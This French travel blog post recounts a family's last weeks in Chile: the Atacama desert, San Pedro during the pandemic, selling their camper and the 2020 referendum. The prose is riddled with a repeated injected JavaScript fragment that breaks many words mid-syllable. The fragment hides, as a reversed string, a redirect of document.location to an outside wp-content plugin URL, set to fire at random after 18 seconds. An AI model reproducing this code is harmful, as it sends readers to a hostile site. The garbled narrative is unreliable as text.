A Chañaral nous quittoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons la côte direction la cordillère et son désert d’Atacama avec l’objectif d’emmener les enfants dans un salar. Nous savons maintenant qu’il sera impossible de passer en Bolivie, et notre entrée dans San Pedro n’est pas du toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout garantie, alors nous tentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons notre chance dans ce coin non toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touristique du désert d’Atacama. Nous arrivons à El Salvador, une ville minière crée par les Américains à la fin des années 50 avant que le Chili ne nationalise l’exploitation du cuivre. Ici toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le monde travaille pour CODELCO l’entreprise d’état. L’architecte américain a pensé à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout, les quartiers pour les ouvriers, ceux pour les cadres, le parc, le cinéma, etc… Avec ses rues super larges, l’urbanisme de cette ville sort du lot. Ici aucun propriétaire privé, absolument toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout appartient et est administré par CODELCO. Perdu à l’entrée du désert, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout cela disparaitra dans quelques années quand la mine sera épuisée. Nous laissons notre bon vieux camping-car pour partir avec Alex et son 4×4 découvrir le Salar de Pedernales. Ce salar méconnu du grand public regorge de trésors. Sous la pression des américains qui lorgnent ses ressources de lithium, il n’est pas classé Réserve Naturelle, ce qui nous permet aujourd’hui d’y entrer légalement. Flamands roses, lagunes turquoises d’eau salée, montagnes aux couleurs incroyables, rapidement nous comprenons qu’au milieu de ces immenses espaces, la journée sera fantastique. Nous ne regrettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons absolument pas d’avoir laisser le camion à El Salvador. Après une mémorable remontée de rivière (au sens propre), à près de 4000m nous atteignons une source d’eau chaude où toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le monde se baigne. Nous finirons la journée au sommet d’un petit Cerro à regarder le coucher de soleil pendant que les enfants ramassent des fossiles…
Nous regagnons la côte pour cette dernière ligne droite avant San Pedro. Nous savons qu’il sera difficile d’y entrer. San Pedro n’est pas en quarantaine, mais certains locaux mettent une énorme pression sur les autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torités pour empêcher les non résidents d’y entrer. Nous arrivons au contrôle sanitaire juste avant la nuit dans l’espoir que les fonctionnaires du ministère de la santé ne soient plus là. On préfère parler avec les Carabineros qui sont souvent plus ouverts à la discussion. Manqué ! Après une heure de palabre et la venue du N+4 (si si…) nous aurons finalement l’autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisation de passer avec la promesse de notre part de repartir dans 2 ou 3 jours, le temps de trouver un vol de retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour en France. Promis juré ! Moment un peu difficile pour les parents qui tentent d’expliquer aux enfants que parfois un petit mensonge est nécessaire et ce même à des policiers…
Nous nous installons dans un camping à l’extérieur du village, où nous retrouvons Sandy, Mathieu, Camila et Emilio, alias la « Happy Family ». Nous sommes très probablement les deux dernières familles voyageant en camping-car encore présentes au Chili. Comme nous, ils ont été bloqués plusieurs mois avant de reprendre la route vers le nord. Ils attendent maintenant l’ouverture des frontières pour pouvoir découvrir un autre pays. Malgré leurs différences d’âges les enfants s’entendent parfaitement et les parents passent d’excellents moments autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour d’apéro et asado.
A San Pedro l’ambiance est particulière. Les rues sont toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement vides, et on ressent rapidement une tension entre les Atacamenos, indigènes originaires de cette région, et le reste de la population. Les uns profitent de la situation pour récupérer des terres plus ou moins ancestrales pour revendre ensuite les droits d’extractions aux compagnies minières, les autres voulant que le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourisme reprenne au plus vite. Sé et moi savons que notre voyage au Chili va se terminer à l’endroit même où nous étions 15 ans auparavant. L’image nous amuse, c’est une sorte de cercle qui se referme. Entre temps San Pedro s’est bien développé, à l’époque on comptait une dizaine d’agences toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touristiques maintenant il y en a 150… Le village a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout de même réussi à conserver une certaine âme, en toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout cas c’est ce qui nous semble en se promenant dans ses ruelles désertes. Ceux qui sont déjà allés à San Pedro comprendront pourquoi être seuls en pleine journée dans la calle Caracoles est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement hallucinant… Agréable pour nous, catastrophique pour des milliers de personnes. Heureusement deux ou trois commerces toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout juste réouverts apportent un peu de vie au village, nous serons heureux d’y aller dépenser quelques pesos.
Le camping est notre camp de base, nous le quittoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons de temps en temps pour bivouaquer ailleurs. Emma, José, et leur fils Antü nous accueillent chez eux pour passer la fête nationale du 18 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre. Leurs amis viennent remplir la maison, asado, terremotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to (boisson qui porte bien son nom), danse traditionnelle Cueca, nous sommes heureux de partager avec eux ce jour si largement fêté dans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le Chili.
Tous les sites toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touristiques sont fermés, soit par les autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torités sanitaires, soit par les Atacamenos. Nous explorons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce que nous pouvons faire sans trop de soucis. Le Canyon Gautin, la cordillère de Sel, l’entrée du désert d’Atacama, etc… A la station service nous rencontrons Felipe. Il est guide francophone, après toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous ces mois d’inactivité il a la bougeotte, il n’en peut plus de ne rien faire. Il nous propose de nous emmener là où nous ne pouvons pas aller. Après 15 années passées ici, il connait parfaitement la région et ses pistes secrètes. Entre les vallées cachées de la Cordillère de Sel et le Salar de Tara, nous passerons deux merveilleuses journées avec lui. C’est un personnage haut en couleurs. Les enfants ont même le droit de conduire seuls son 4×4 alors c’est sûr ils l’adorent !! Grâce à lui, ils battront leur record d’altitude 4833 m !! Ici les dénivelés sont dingues, en moins de 50 Km de route on monte de plus de 2000 m.
Nous passons une super soirée avec Alain Baudry, un grand astronome français qui possède de nombreux télescopes dont le plus grand télescope privé de l’hémisphère sud. Nous sommes ses premiers clients depuis le mois de mars, lui aussi est impatient de retrouver une activité. Nous discutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons avec lui jusqu’à deux heures du matin, en admirant depuis son télescope les nébuleuses, et les planètes. Les P’tit loups posent d’innombrables questions, difficile de vulgariser les réponses d’un spécialiste aussi passionné.
Mauricio le propriétaire du camping est adorable. Nous empruntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons souvent sa voiture ce qui nous permet de nous déplacer plus rapidement et surtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout plus discrètement. Il nous emmène dans le désert pour aller chercher des traces du passage des incas. Lors de la promenade, le téléphone sonne, ce sont des copains de Clément qui se sont coordonnés après l’école pour un WhatsApp vidéo. On rigole toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous beaucoup en attendant Clément leur dire : « Désolé les copains je ne peux pas vous répondre, je suis dans le désert et je cherche des pointes de flèches d’incas ! » Ahh que la vie est dure pour certains !!!
Trois semaines passent très vite, il est temps de rentrer à Santiago pour cette fois-ci honorer une promesse faite deux mois plus tôt au futur propriétaire du camping-car. Nous avions convenu avec Carlos de lui ramener le camion mi octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre à Santiago. Pour finir nous passons trois superbes journées avec la Happy Family dans la vallée d’Arcoiris puis nous les quittoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons, eux vont tenter de se rapprocher de la frontière péruvienne en attendant une éventuelle ouverture.
Pour redescendre nous prenons cette fois-ci la panaméricaine, plus directe, nous voulons vite rejoindre Santiago. Il nous faudra 4 jours pour faire ce que nous avions fait en 1 mois et demi à l’aller… Nous nous installons dans une jolie orangeraie à l’extérieur de Santiago. C’est la déception en arrivant sur place, Carlos n’a absolument rien préparé. L’internalisation du véhicule n’est pas simple, il faut trouver les bons papiers, les bons intermédiaires, etc… Comme souvent au Chili, c’est complexe, mais c’est possible ! On s’active comme on peut pour accélérer la vente et c’est grâce à Claudia, une chilienne rencontré 8 mois plus tôt en Argentine, que nous trouverons les solutions. Deux semaines plus tard nous donnons enfin les clés du camion à sa nouvelle famille. C’est un moment difficile pour les enfants. Ce camion a été leur maison et leur refuge depuis près de 10 mois, ils y sont attachés. Cette vente est aussi un soulagement pour la famille. Nous pouvons enfin nous projeter sur la suite et donner une réponse à cette question que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le monde nous pose : « Vous faites quoi après ? »
C’est un nouveau conseil de famille qui donnera la réponse :
Aucun de nous quatre n’a envie de rentrer pour le moment et nous voulons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous découvrir un autre pays d’Amérique du sud. Alors direction l’Equateur !
Le temps de prendre notre avion, Claudia nous prête un appartement dans Santiago. Elle aussi est adorable avec nous. L’appartement est situé dans le quartier festif de Bellavista. Voir autant de monde dans les rues, prendre l’apéro, manger au restaurant ou faire la queue dans les magasins est un choc pour nous qui vivons depuis si longtemps à l’écart des villes. Après de longs mois, Santiago vient toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout juste de sortir de quarantaine, les jeunes n’en peuvent plus ils ont besoin de souffler.
Pour notre dernier jour au Chili nous vivons le referendum tant attendu depuis 1 an. Les chiliens doivent se prononcer sur la nécessité d’un changement de constitution ou pas. Cela fait 7 mois qu’on nous parlent de ce jour. Nous sommes content de le vivre ici. Nous partageons ce moment avec Claudia et ses amis autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour d’un asado, bien sur! Le changement de constitution est approuvé à prés de 80% , espérons que ce premier pas aboutira rapidement vers une réduction des inégalités.
